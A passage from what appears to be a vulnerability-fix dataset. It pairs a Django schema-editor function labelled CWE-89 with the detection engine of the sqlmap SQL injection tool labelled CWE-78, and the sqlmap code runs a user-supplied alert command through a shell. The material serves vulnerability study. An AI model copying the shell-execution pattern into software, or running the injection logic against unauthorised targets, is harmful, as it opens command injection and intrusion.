        nested [""foo"", ""bar""] format.
        """"""
        olds = set(tuple(fields) for fields in old_unique_together)
        news = set(tuple(fields) for fields in new_unique_together)
        # Deleted uniques
        for fields in olds.difference(news):
            self._delete_composed_index(model, fields, {'unique': True}, self.sql_delete_unique)
        # Created uniques
        for fields in news.difference(olds):
            columns = [model._meta.get_field(field).column for field in fields]
            self.execute(self._create_unique_sql(model, columns))",CWE-89,django/django,6a0d9f068f9986c8c05e689e67be7bc22c59efc6,"def alter_unique_together(self, model, old_unique_together, new_unique_together):
        """"""
        Deals with a model changing its unique_together.
        Note: The input unique_togethers must be doubly-nested, not the single-
        nested [""foo"", ""bar""] format.
        """"""
        olds = set(tuple(fields) for fields in old_unique_together)
        news = set(tuple(fields) for fields in new_unique_together)
        # Deleted uniques
        for fields in olds.difference(news):
            columns = [model._meta.get_field(field).column for field in fields]
            constraint_names = self._constraint_names(model, columns, unique=True)
            if len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of constraints for %s(%s)"" % (
                    len(constraint_names),
                    model._meta.db_table,
                    "", "".join(columns),
                ))
            self.execute(self._delete_constraint_sql(self.sql_delete_unique, model, constraint_names[0]))
        # Created uniques
        for fields in news.difference(olds):
            columns = [model._meta.get_field(field).column for field in fields]
            self.execute(self._create_unique_sql(model, columns))"
,UNKNOWN,UNKNOWN,lib/controller/checks.py,1,"def checkSqlInjection(place, parameter, value):
    # Store here the details about boundaries and payload used to
    # successfully inject
    injection = InjectionDict()

    # Localized thread data needed for some methods
    threadData = getCurrentThreadData()

    # Favoring non-string specific boundaries in case of digit-like parameter values
    if isDigit(value):
        kb.cache.intBoundaries = kb.cache.intBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: any(_ in (boundary.prefix or """") or _ in (boundary.suffix or """") for _ in ('""', '\'')))
        boundaries = kb.cache.intBoundaries
    elif value.isalpha():
        kb.cache.alphaBoundaries = kb.cache.alphaBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: not any(_ in (boundary.prefix or """") or _ in (boundary.suffix or """") for _ in ('""', '\'')))
        boundaries = kb.cache.alphaBoundaries
    else:
        boundaries = conf.boundaries

    # Set the flag for SQL injection test mode
    kb.testMode = True

    paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place
    tests = getSortedInjectionTests()
    seenPayload = set()

    kb.data.setdefault(""randomInt"", str(randomInt(10)))
    kb.data.setdefault(""randomStr"", str(randomStr(10)))

    while tests:
        test = tests.pop(0)

        try:
            if kb.endDetection:
                break

            if conf.dbms is None:
                # If the DBMS has not yet been fingerprinted (via simple heuristic check
                # or via DBMS-specific payload) and boolean-based blind has been identified
                # then attempt to identify with a simple DBMS specific boolean-based
                # test what the DBMS may be
                if not injection.dbms and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data:
                    if not Backend.getIdentifiedDbms() and kb.heuristicDbms is None and not kb.droppingRequests:
                        kb.heuristicDbms = heuristicCheckDbms(injection)

                # If the DBMS has already been fingerprinted (via DBMS-specific
                # error message, simple heuristic check or via DBMS-specific
                # payload), ask the user to limit the tests to the fingerprinted
                # DBMS

                if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
                    msg = ""it looks like the back-end DBMS is '%s'. "" % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/'))
                    msg += ""Do you want to skip test payloads specific for other DBMSes? [Y/n]""
                    kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else []

            # If the DBMS has been fingerprinted (via DBMS-specific error
            # message, via simple heuristic check or via DBMS-specific
            # payload), ask the user to extend the tests to all DBMS-specific,
            # regardless of --level and --risk values provided
            if kb.extendTests is None and not conf.testFilter and (conf.level < 5 or conf.risk < 3) and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
                msg = ""for the remaining tests, do you want to include all tests ""
                msg += ""for '%s' extending provided "" % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/'))
                msg += ""level (%d)"" % conf.level if conf.level < 5 else """"
                msg += "" and "" if conf.level < 5 and conf.risk < 3 else """"
                msg += ""risk (%d)"" % conf.risk if conf.risk < 3 else """"
                msg += "" values? [Y/n]"" if conf.level < 5 and conf.risk < 3 else "" value? [Y/n]""
                kb.extendTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else []

            title = test.title
            kb.testType = stype = test.stype
            clause = test.clause
            unionExtended = False
            trueCode, falseCode = None, None

            if conf.httpCollector is not None:
                conf.httpCollector.setExtendedArguments({
                    ""_title"": title,
                    ""_place"": place,
                    ""_parameter"": parameter,
                })

            if stype == PAYLOAD.TECHNIQUE.UNION:
                configUnion(test.request.char)

                if ""[CHAR]"" in title:
                    if conf.uChar is None:
                        continue
                    else:
                        title = title.replace(""[CHAR]"", conf.uChar)

                elif ""[RANDNUM]"" in title or ""(NULL)"" in title:
                    title = title.replace(""[RANDNUM]"", ""random number"")

                if test.request.columns == ""[COLSTART]-[COLSTOP]"":
                    if conf.uCols is None:
                        continue
                    else:
                        title = title.replace(""[COLSTART]"", str(conf.uColsStart))
                        title = title.replace(""[COLSTOP]"", str(conf.uColsStop))

                elif conf.uCols is not None:
                    debugMsg = ""skipping test '%s' because the user "" % title
                    debugMsg += ""provided custom column range %s"" % conf.uCols
                    logger.debug(debugMsg)
                    continue

                match = re.search(r""(\d+)-(\d+)"", test.request.columns)
                if match and injection.data:
                    lower, upper = int(match.group(1)), int(match.group(2))
                    for _ in (lower, upper):
                        if _ > 1:
                            __ = 2 * (_ - 1) + 1 if _ == lower else 2 * _
                            unionExtended = True
                            test.request.columns = re.sub(r""\b%d\b"" % _, str(__), test.request.columns)
                            title = re.sub(r""\b%d\b"" % _, str(__), title)
                            test.title = re.sub(r""\b%d\b"" % _, str(__), test.title)

            # Skip test if the user's wants to test only for a specific
            # technique
            if conf.technique and isinstance(conf.technique, list) and stype not in conf.technique:
                debugMsg = ""skipping test '%s' because user "" % title
                debugMsg += ""specified testing of only ""
                debugMsg += ""%s techniques"" % "" & "".join(PAYLOAD.SQLINJECTION[_] for _ in conf.technique)
                logger.debug(debugMsg)
                continue

            # Skip test if it is the same SQL injection type already
            # identified by another test
            if injection.data and stype in injection.data:
                debugMsg = ""skipping test '%s' because "" % title
                debugMsg += ""the payload for %s has "" % PAYLOAD.SQLINJECTION[stype]
                debugMsg += ""already been identified""
                logger.debug(debugMsg)
                continue

            # Parse DBMS-specific payloads' details
            if ""details"" in test and ""dbms"" in test.details:
                payloadDbms = test.details.dbms
            else:
                payloadDbms = None

            # Skip tests if title, vector or DBMS is not included by the
            # given test filter
            if conf.testFilter and not any(conf.testFilter in str(item) or re.search(conf.testFilter, str(item), re.I) for item in (test.title, test.vector, payloadDbms)):
                debugMsg = ""skipping test '%s' because its "" % title
                debugMsg += ""name/vector/DBMS is not included by the given filter""
                logger.debug(debugMsg)
                continue

            # Skip tests if title, vector or DBMS is included by the
            # given skip filter
            if conf.testSkip and any(conf.testSkip in str(item) or re.search(conf.testSkip, str(item), re.I) for item in (test.title, test.vector, payloadDbms)):
                debugMsg = ""skipping test '%s' because its "" % title
                debugMsg += ""name/vector/DBMS is included by the given skip filter""
                logger.debug(debugMsg)
                continue

            if payloadDbms is not None:
                # Skip DBMS-specific test if it does not match the user's
                # provided DBMS
                if conf.dbms and not intersect(payloadDbms, conf.dbms, True):
                    debugMsg = ""skipping test '%s' because "" % title
                    debugMsg += ""its declared DBMS is different than provided""
                    logger.debug(debugMsg)
                    continue

                elif kb.dbmsFilter and not intersect(payloadDbms, kb.dbmsFilter, True):
                    debugMsg = ""skipping test '%s' because "" % title
                    debugMsg += ""its declared DBMS is different than provided""
                    logger.debug(debugMsg)
                    continue

                elif kb.reduceTests == False:
                    pass

                # Skip DBMS-specific test if it does not match the
                # previously identified DBMS (via DBMS-specific payload)
                elif injection.dbms and not intersect(payloadDbms, injection.dbms, True):
                    debugMsg = ""skipping test '%s' because "" % title
                    debugMsg += ""its declared DBMS is different than identified""
                    logger.debug(debugMsg)
                    continue

                # Skip DBMS-specific test if it does not match the
                # previously identified DBMS (via DBMS-specific error message)
                elif kb.reduceTests and not intersect(payloadDbms, kb.reduceTests, True):
                    debugMsg = ""skipping test '%s' because the heuristic "" % title
                    debugMsg += ""tests showed that the back-end DBMS ""
                    debugMsg += ""could be '%s'"" % unArrayizeValue(kb.reduceTests)
                    logger.debug(debugMsg)
                    continue

            # If the user did not decide to extend the tests to all
            # DBMS-specific or the test payloads is not specific to the
            # identified DBMS, then only test for it if both level and risk
            # are below the corrisponding configuration's level and risk
            # values
            if not conf.testFilter and not (kb.extendTests and intersect(payloadDbms, kb.extendTests, True)):
                # Skip test if the risk is higher than the provided (or default)
                # value
                if test.risk > conf.risk:
                    debugMsg = ""skipping test '%s' because the risk (%d) "" % (title, test.risk)
                    debugMsg += ""is higher than the provided (%d)"" % conf.risk
                    logger.debug(debugMsg)
                    continue

                # Skip test if the level is higher than the provided (or default)
                # value
                if test.level > conf.level:
                    debugMsg = ""skipping test '%s' because the level (%d) "" % (title, test.level)
                    debugMsg += ""is higher than the provided (%d)"" % conf.level
                    logger.debug(debugMsg)
                    continue

            # Skip test if it does not match the same SQL injection clause
            # already identified by another test
            clauseMatch = False

            for clauseTest in clause:
                if injection.clause is not None and clauseTest in injection.clause:
                    clauseMatch = True
                    break

            if clause != [0] and injection.clause and injection.clause != [0] and not clauseMatch:
                debugMsg = ""skipping test '%s' because the clauses "" % title
                debugMsg += ""differ from the clause already identified""
                logger.debug(debugMsg)
                continue

            # Skip test if the user provided custom character (for UNION-based payloads)
            if conf.uChar is not None and (""random number"" in title or ""(NULL)"" in title):
                debugMsg = ""skipping test '%s' because the user "" % title
                debugMsg += ""provided a specific character, %s"" % conf.uChar
                logger.debug(debugMsg)
                continue

            if stype == PAYLOAD.TECHNIQUE.UNION:
                match = re.search(r""(\d+)-(\d+)"", test.request.columns)
                if match and not injection.data:
                    _ = test.request.columns.split('-')[-1]
                    if conf.uCols is None and _.isdigit():
                        if kb.futileUnion is None:
                            msg = ""it is recommended to perform ""
                            msg += ""only basic UNION tests if there is not ""
                            msg += ""at least one other (potential) ""
                            msg += ""technique found. Do you want to reduce ""
                            msg += ""the number of requests? [Y/n] ""
                            kb.futileUnion = readInput(msg, default='Y', boolean=True)

                        if kb.futileUnion and int(_) > 10:
                            debugMsg = ""skipping test '%s'"" % title
                            logger.debug(debugMsg)
                            continue

            infoMsg = ""testing '%s'"" % title
            logger.info(infoMsg)

            # Force back-end DBMS according to the current test DBMS value
            # for proper payload unescaping
            Backend.forceDbms(payloadDbms[0] if isinstance(payloadDbms, list) else payloadDbms)

            # Parse test's <request>
            comment = agent.getComment(test.request) if len(conf.boundaries) > 1 else None
            fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or """") else None)

            for boundary in boundaries:
                injectable = False

                # Skip boundary if the level is higher than the provided (or
                # default) value
                # Parse boundary's <level>
                if boundary.level > conf.level and not (kb.extendTests and intersect(payloadDbms, kb.extendTests, True)):
                    continue

                # Skip boundary if it does not match against test's <clause>
                # Parse test's <clause> and boundary's <clause>
                clauseMatch = False

                for clauseTest in test.clause:
                    if clauseTest in boundary.clause:
                        clauseMatch = True
                        break

                if test.clause != [0] and boundary.clause != [0] and not clauseMatch:
                    continue

                # Skip boundary if it does not match against test's <where>
                # Parse test's <where> and boundary's <where>
                whereMatch = False

                for where in test.where:
                    if where in boundary.where:
                        whereMatch = True
                        break

                if not whereMatch:
                    continue

                # Parse boundary's <prefix>, <suffix> and <ptype>
                prefix = boundary.prefix or """"
                suffix = boundary.suffix or """"
                ptype = boundary.ptype

                # Options --prefix/--suffix have a higher priority (if set by user)
                prefix = conf.prefix if conf.prefix is not None else prefix
                suffix = conf.suffix if conf.suffix is not None else suffix
                comment = None if conf.suffix is not None else comment

                # If the previous injections succeeded, we know which prefix,
                # suffix and parameter type to use for further tests, no
                # need to cycle through the boundaries for the following tests
                condBound = (injection.prefix is not None and injection.suffix is not None)
                condBound &= (injection.prefix != prefix or injection.suffix != suffix)
                condType = injection.ptype is not None and injection.ptype != ptype

                # If the payload is an inline query test for it regardless
                # of previously identified injection types
                if stype != PAYLOAD.TECHNIQUE.QUERY and (condBound or condType):
                    continue

                # For each test's <where>
                for where in test.where:
                    templatePayload = None
                    vector = None

                    origValue = value
                    if kb.customInjectionMark in origValue:
                        origValue = origValue.split(kb.customInjectionMark)[0]
                        origValue = re.search(r""(\w*)\Z"", origValue).group(1)

                    # Treat the parameter original value according to the
                    # test's <where> tag
                    if where == PAYLOAD.WHERE.ORIGINAL or conf.prefix:
                        if kb.tamperFunctions:
                            templatePayload = agent.payload(place, parameter, value="""", newValue=origValue, where=where)
                    elif where == PAYLOAD.WHERE.NEGATIVE:
                        # Use different page template than the original
                        # one as we are changing parameters value, which
                        # will likely result in a different content

                        if conf.invalidLogical:
                            _ = int(kb.data.randomInt[:2])
                            origValue = ""%s AND %s LIKE %s"" % (origValue, _, _ + 1)
                        elif conf.invalidBignum:
                            origValue = kb.data.randomInt[:6]
                        elif conf.invalidString:
                            origValue = kb.data.randomStr[:6]
                        else:
                            origValue = ""-%s"" % kb.data.randomInt[:4]

                        templatePayload = agent.payload(place, parameter, value="""", newValue=origValue, where=where)
                    elif where == PAYLOAD.WHERE.REPLACE:
                        origValue = """"

                    kb.pageTemplate, kb.errorIsNone = getPageTemplate(templatePayload, place)

                    # Forge request payload by prepending with boundary's
                    # prefix and appending the boundary's suffix to the
                    # test's ' <payload><comment> ' string
                    if fstPayload:
                        boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause)
                        boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
                        reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)

                        if reqPayload:
                            stripPayload = re.sub(r""(\A|\b|_)([A-Za-z]{4}((?<!LIKE))|\d+)(_|\b|\Z)"", r""\g<1>.\g<4>"", reqPayload)
                            if stripPayload in seenPayload:
                                continue
                            else:
                                seenPayload.add(stripPayload)
                    else:
                        reqPayload = None

                    # Perform the test's request and check whether or not the
                    # payload was successful
                    # Parse test's <response>
                    for method, check in test.response.items():
                        check = agent.cleanupPayload(check, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or """") else None)

                        # In case of boolean-based blind SQL injection
                        if method == PAYLOAD.METHOD.COMPARISON:
                            # Generate payload used for comparison
                            def genCmpPayload():
                                sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or """") else None)

                                # Forge response payload by prepending with
                                # boundary's prefix and appending the boundary's
                                # suffix to the test's ' <payload><comment> '
                                # string
                                boundPayload = agent.prefixQuery(sndPayload, prefix, where, clause)
                                boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
                                cmpPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)

                                return cmpPayload

                            # Useful to set kb.matchRatio at first based on False response content
                            kb.matchRatio = None
                            kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE)
                            suggestion = None
                            Request.queryPage(genCmpPayload(), place, raise404=False)
                            falsePage, falseHeaders, falseCode = threadData.lastComparisonPage or """", threadData.lastComparisonHeaders, threadData.lastComparisonCode
                            falseRawResponse = ""%s%s"" % (falseHeaders, falsePage)

                            # Checking if there is difference between current FALSE, original and heuristics page (i.e. not used parameter)
                            if not any((kb.negativeLogic, conf.string, conf.notString, conf.code)):
                                try:
                                    ratio = 1.0
                                    seqMatcher = getCurrentThreadData().seqMatcher

                                    for current in (kb.originalPage, kb.heuristicPage):
                                        seqMatcher.set_seq1(current or """")
                                        seqMatcher.set_seq2(falsePage or """")
                                        ratio *= seqMatcher.quick_ratio()

                                    if ratio == 1.0:
                                        continue
                                except (MemoryError, OverflowError):
                                    pass

                            # Perform the test's True request
                            trueResult = Request.queryPage(reqPayload, place, raise404=False)
                            truePage, trueHeaders, trueCode = threadData.lastComparisonPage or """", threadData.lastComparisonHeaders, threadData.lastComparisonCode
                            trueRawResponse = ""%s%s"" % (trueHeaders, truePage)

                            if trueResult and not(truePage == falsePage and not any((kb.nullConnection, conf.code))):
                                # Perform the test's False request
                                falseResult = Request.queryPage(genCmpPayload(), place, raise404=False)

                                if not falseResult:
                                    if kb.negativeLogic:
                                        boundPayload = agent.prefixQuery(kb.data.randomStr, prefix, where, clause)
                                        boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
                                        errorPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)

                                        errorResult = Request.queryPage(errorPayload, place, raise404=False)
                                        if errorResult:
                                            continue
                                    elif kb.heuristicPage and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
                                        _ = comparison(kb.heuristicPage, None, getRatioValue=True)
                                        if (_ or 0) > (kb.matchRatio or 0):
                                            kb.matchRatio = _
                                            logger.debug(""adjusting match ratio for current parameter to %.3f"" % kb.matchRatio)

                                    # Reducing false-positive ""appears"" messages in heavily dynamic environment
                                    if kb.heavilyDynamic and not Request.queryPage(reqPayload, place, raise404=False):
                                        continue

                                    injectable = True

                                elif (threadData.lastComparisonRatio or 0) > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
                                    originalSet = set(getFilteredPageContent(kb.pageTemplate, True, ""\n"").split(""\n""))
                                    trueSet = set(getFilteredPageContent(truePage, True, ""\n"").split(""\n""))
                                    falseSet = set(getFilteredPageContent(falsePage, True, ""\n"").split(""\n""))

                                    if threadData.lastErrorPage and threadData.lastErrorPage[1]:
                                        errorSet = set(getFilteredPageContent(threadData.lastErrorPage[1], True, ""\n"").split(""\n""))
                                    else:
                                        errorSet = set()

                                    if originalSet == trueSet != falseSet:
                                        candidates = trueSet - falseSet - errorSet

                                        if candidates:
                                            candidates = sorted(candidates, key=len)
                                            for candidate in candidates:
                                                if re.match(r""\A[\w.,! ]+\Z"", candidate) and ' ' in candidate and candidate.strip() and len(candidate) > CANDIDATE_SENTENCE_MIN_LENGTH:
                                                    suggestion = conf.string = candidate
                                                    injectable = True

                                                    infoMsg = ""%sparameter '%s' appears to be '%s' injectable (with --string=\""%s\"")"" % (""%s "" % paramType if paramType != parameter else """", parameter, title, repr(conf.string).lstrip('u').strip(""'""))
                                                    logger.info(infoMsg)

                                                    break

                            if injectable:
                                if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
                                    if all((falseCode, trueCode)) and falseCode != trueCode:
                                        suggestion = conf.code = trueCode

                                        infoMsg = ""%sparameter '%s' appears to be '%s' injectable (with --code=%d)"" % (""%s "" % paramType if paramType != parameter else """", parameter, title, conf.code)
                                        logger.info(infoMsg)
                                    else:
                                        trueSet = set(extractTextTagContent(trueRawResponse))
                                        trueSet |= set(__ for _ in trueSet for __ in _.split())

                                        falseSet = set(extractTextTagContent(falseRawResponse))
                                        falseSet |= set(__ for _ in falseSet for __ in _.split())

                                        if threadData.lastErrorPage and threadData.lastErrorPage[1]:
                                            errorSet = set(extractTextTagContent(threadData.lastErrorPage[1]))
                                            errorSet |= set(__ for _ in errorSet for __ in _.split())
                                        else:
                                            errorSet = set()

                                        candidates = filterNone(_.strip() if _.strip() in trueRawResponse and _.strip() not in falseRawResponse else None for _ in (trueSet - falseSet - errorSet))

                                        if candidates:
                                            candidates = sorted(candidates, key=len)
                                            for candidate in candidates:
                                                if re.match(r""\A\w{2,}\Z"", candidate):  # Note: length of 1 (e.g. --string=5) could cause trouble, especially in error message pages with partially reflected payload content
                                                    break

                                            suggestion = conf.string = candidate

                                            infoMsg = ""%sparameter '%s' appears to be '%s' injectable (with --string=\""%s\"")"" % (""%s "" % paramType if paramType != parameter else """", parameter, title, repr(conf.string).lstrip('u').strip(""'""))
                                            logger.info(infoMsg)

                                        if not any((conf.string, conf.notString)):
                                            candidates = filterNone(_.strip() if _.strip() in falseRawResponse and _.strip() not in trueRawResponse else None for _ in (falseSet - trueSet))

                                            if candidates:
                                                candidates = sorted(candidates, key=len)
                                                for candidate in candidates:
                                                    if re.match(r""\A\w+\Z"", candidate):
                                                        break

                                                suggestion = conf.notString = candidate

                                                infoMsg = ""%sparameter '%s' appears to be '%s' injectable (with --not-string=\""%s\"")"" % (""%s "" % paramType if paramType != parameter else """", parameter, title, repr(conf.notString).lstrip('u').strip(""'""))
                                                logger.info(infoMsg)

                                if not suggestion:
                                    infoMsg = ""%sparameter '%s' appears to be '%s' injectable "" % (""%s "" % paramType if paramType != parameter else """", parameter, title)
                                    singleTimeLogMessage(infoMsg)

                        # In case of error-based SQL injection
                        elif method == PAYLOAD.METHOD.GREP:
                            # Perform the test's request and grep the response
                            # body for the test's <grep> regular expression
                            try:
                                page, headers, _ = Request.queryPage(reqPayload, place, content=True, raise404=False)
                                output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE)
                                output = output or extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None, re.DOTALL | re.IGNORECASE)
                                output = output or extractRegexResult(check, listToStrValue((headers[key] for key in headers if key.lower() != URI_HTTP_HEADER.lower()) if headers else None), re.DOTALL | re.IGNORECASE)
                                output = output or extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)

                                if output:
                                    result = output == '1'

                                    if result:
                                        infoMsg = ""%sparameter '%s' is '%s' injectable "" % (""%s "" % paramType if paramType != parameter else """", parameter, title)
                                        logger.info(infoMsg)

                                        injectable = True

                            except SqlmapConnectionException as ex:
                                debugMsg = ""problem occurred most likely because the ""
                                debugMsg += ""server hasn't recovered as expected from the ""
                                debugMsg += ""used error-based payload ('%s')"" % getSafeExString(ex)
                                logger.debug(debugMsg)

                        # In case of time-based blind or stacked queries
                        # SQL injections
                        elif method == PAYLOAD.METHOD.TIME:
                            # Perform the test's request
                            trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)
                            trueCode = threadData.lastCode

                            if trueResult:
                                # Extra validation step (e.g. to check for DROP protection mechanisms)
                                if SLEEP_TIME_MARKER in reqPayload:
                                    falseResult = Request.queryPage(reqPayload.replace(SLEEP_TIME_MARKER, ""0""), place, timeBasedCompare=True, raise404=False)
                                    if falseResult:
                                        continue

                                # Confirm test's results
                                trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)

                                if trueResult:
                                    infoMsg = ""%sparameter '%s' appears to be '%s' injectable "" % (""%s "" % paramType if paramType != parameter else """", parameter, title)
                                    logger.info(infoMsg)

                                    injectable = True

                        # In case of UNION query SQL injection
                        elif method == PAYLOAD.METHOD.UNION:
                            # Test for UNION injection and set the sample
                            # payload as well as the vector.
                            # NOTE: vector is set to a tuple with 6 elements,
                            # used afterwards by Agent.forgeUnionQuery()
                            # method to forge the UNION query payload

                            configUnion(test.request.char, test.request.columns)

                            if len(kb.dbmsFilter or []) == 1:
                                Backend.forceDbms(kb.dbmsFilter[0])
                            elif not Backend.getIdentifiedDbms():
                                if kb.heuristicDbms is None:
                                    if kb.heuristicTest == HEURISTIC_TEST.POSITIVE or injection.data:
                                        warnMsg = ""using unescaped version of the test ""
                                        warnMsg += ""because of zero knowledge of the ""
                                        warnMsg += ""back-end DBMS. You can try to ""
                                        warnMsg += ""explicitly set it with option '--dbms'""
                                        singleTimeWarnMessage(warnMsg)
                                else:
                                    Backend.forceDbms(kb.heuristicDbms)

                            if unionExtended:
                                infoMsg = ""automatically extending ranges for UNION ""
                                infoMsg += ""query injection technique tests as ""
                                infoMsg += ""there is at least one other (potential) ""
                                infoMsg += ""technique found""
                                singleTimeLogMessage(infoMsg)

                            # Test for UNION query SQL injection
                            reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix)

                            if isinstance(reqPayload, six.string_types):
                                infoMsg = ""%sparameter '%s' is '%s' injectable"" % (""%s "" % paramType if paramType != parameter else """", parameter, title)
                                logger.info(infoMsg)

                                injectable = True

                                # Overwrite 'where' because it can be set
                                # by unionTest() directly
                                where = vector[6]

                        kb.previousMethod = method

                        if conf.offline:
                            injectable = False

                    # If the injection test was successful feed the injection
                    # object with the test's details
                    if injectable is True:
                        # Feed with the boundaries details only the first time a
                        # test has been successful
                        if injection.place is None or injection.parameter is None:
                            if place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
                                injection.parameter = place
                            else:
                                injection.parameter = parameter

                            injection.place = place
                            injection.ptype = ptype
                            injection.prefix = prefix
                            injection.suffix = suffix
                            injection.clause = clause

                        # Feed with test details every time a test is successful
                        if hasattr(test, ""details""):
                            for key, value in test.details.items():
                                if key == ""dbms"":
                                    injection.dbms = value

                                    if not isinstance(value, list):
                                        Backend.setDbms(value)
                                    else:
                                        Backend.forceDbms(value[0], True)

                                elif key == ""dbms_version"" and injection.dbms_version is None and not conf.testFilter:
                                    injection.dbms_version = Backend.setVersion(value)

                                elif key == ""os"" and injection.os is None:
                                    injection.os = Backend.setOs(value)

                        if vector is None and ""vector"" in test and test.vector is not None:
                            vector = test.vector

                        injection.data[stype] = AttribDict()
                        injection.data[stype].title = title
                        injection.data[stype].payload = agent.removePayloadDelimiters(reqPayload)
                        injection.data[stype].where = where
                        injection.data[stype].vector = vector
                        injection.data[stype].comment = comment
                        injection.data[stype].templatePayload = templatePayload
                        injection.data[stype].matchRatio = kb.matchRatio
                        injection.data[stype].trueCode = trueCode
                        injection.data[stype].falseCode = falseCode

                        injection.conf.textOnly = conf.textOnly
                        injection.conf.titles = conf.titles
                        injection.conf.code = conf.code
                        injection.conf.string = conf.string
                        injection.conf.notString = conf.notString
                        injection.conf.regexp = conf.regexp
                        injection.conf.optimize = conf.optimize

                        if not kb.alerted:
                            if conf.beep:
                                beep()

                            if conf.alert:
                                infoMsg = ""executing alerting shell command(s) ('%s')"" % conf.alert
                                logger.info(infoMsg)

                                try:
                                    process = subprocess.Popen(conf.alert, shell=True)
                                    process.wait()
                                except Exception as ex:
                                    errMsg = ""error occurred while executing '%s' ('%s')"" % (conf.alert, getSafeExString(ex))
                                    logger.error(errMsg)

                            kb.alerted = True

                        # There is no need to perform this test for other
                        # <where> tags
                        break

                if injectable is True:
                    kb.vulnHosts.add(conf.hostname)
                    break

            # Reset forced back-end DBMS value
            Backend.flushForcedDbms()

        except KeyboardInterrupt:
            warnMsg = ""user aborted during detection phase""
            logger.warning(warnMsg)

            if conf.multipleTargets:
                msg = ""how do you want to proceed? [ne(X)t target/(s)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]""
                choice = readInput(msg, default='X', checkBatch=False).upper()
            else:
                msg = ""how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]""
                choice = readInput(msg, default='S', checkBatch=False).upper()

            if choice == 'X':
                if conf.multipleTargets:
                    raise SqlmapSkipTargetException
            elif choice == 'C':
                choice = None
                while not ((choice or """").isdigit() and 0 <= int(choice) <= 6):
                    if choice:
                        logger.warning(""invalid value"")
                    msg = ""enter new verbosity level: [0-6] ""
                    choice = readInput(msg, default=str(conf.verbose), checkBatch=False)
                conf.verbose = int(choice)
                setVerbosity()
                tests.insert(0, test)
            elif choice == 'N':
                return None
            elif choice == 'E':
                kb.endDetection = True
            elif choice == 'Q':
                raise SqlmapUserQuitException

        finally:
            # Reset forced back-end DBMS value
            Backend.flushForcedDbms()

    Backend.flushForcedDbms(True)

    # Return the injection object
    if injection.place is not None and injection.parameter is not None:
        if not conf.dropSetCookie and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data and injection.data[PAYLOAD.TECHNIQUE.BOOLEAN].vector.startswith('OR'):
            warnMsg = ""in OR boolean-based injection cases, please consider usage ""
            warnMsg += ""of switch '--drop-set-cookie' if you experience any ""
            warnMsg += ""problems during data retrieval""
            logger.warning(warnMsg)

        if not checkFalsePositives(injection):
            if conf.hostname in kb.vulnHosts:
                kb.vulnHosts.remove(conf.hostname)

            if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes:
                injection.notes.append(NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE)

    else:
        injection = None

    if injection and NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes:
        checkSuhosinPatch(injection)
        checkFilteredChars(injection)

    return injection",CWE-78,sqlmapproject/sqlmap,7e425d4c9bd049a296bb491e3cdc90f57267bf18,"def checkSqlInjection(place, parameter, value):
    # Store here the details about boundaries and payload used to
    # successfully inject
    injection = InjectionDict()

    # Localized thread data needed for some methods
    threadData = getCurrentThreadData()

    # Favoring non-string specific boundaries in case of digit-like parameter values
    if isDigit(value):
        kb.cache.intBoundaries = kb.cache.intBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: any(_ in (boundary.prefix or """") or _ in (boundary.suffix or """") for _ in ('""', '\'')))
        boundaries = kb.cache.intBoundaries
    elif value.isalpha():
        kb.cache.alphaBoundaries = kb.cache.alphaBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: not any(_ in (boundary.prefix or """") or _ in (boundary.suffix or """") for _ in ('""', '\'')))
        boundaries = kb.cache.alphaBoundaries
    else:
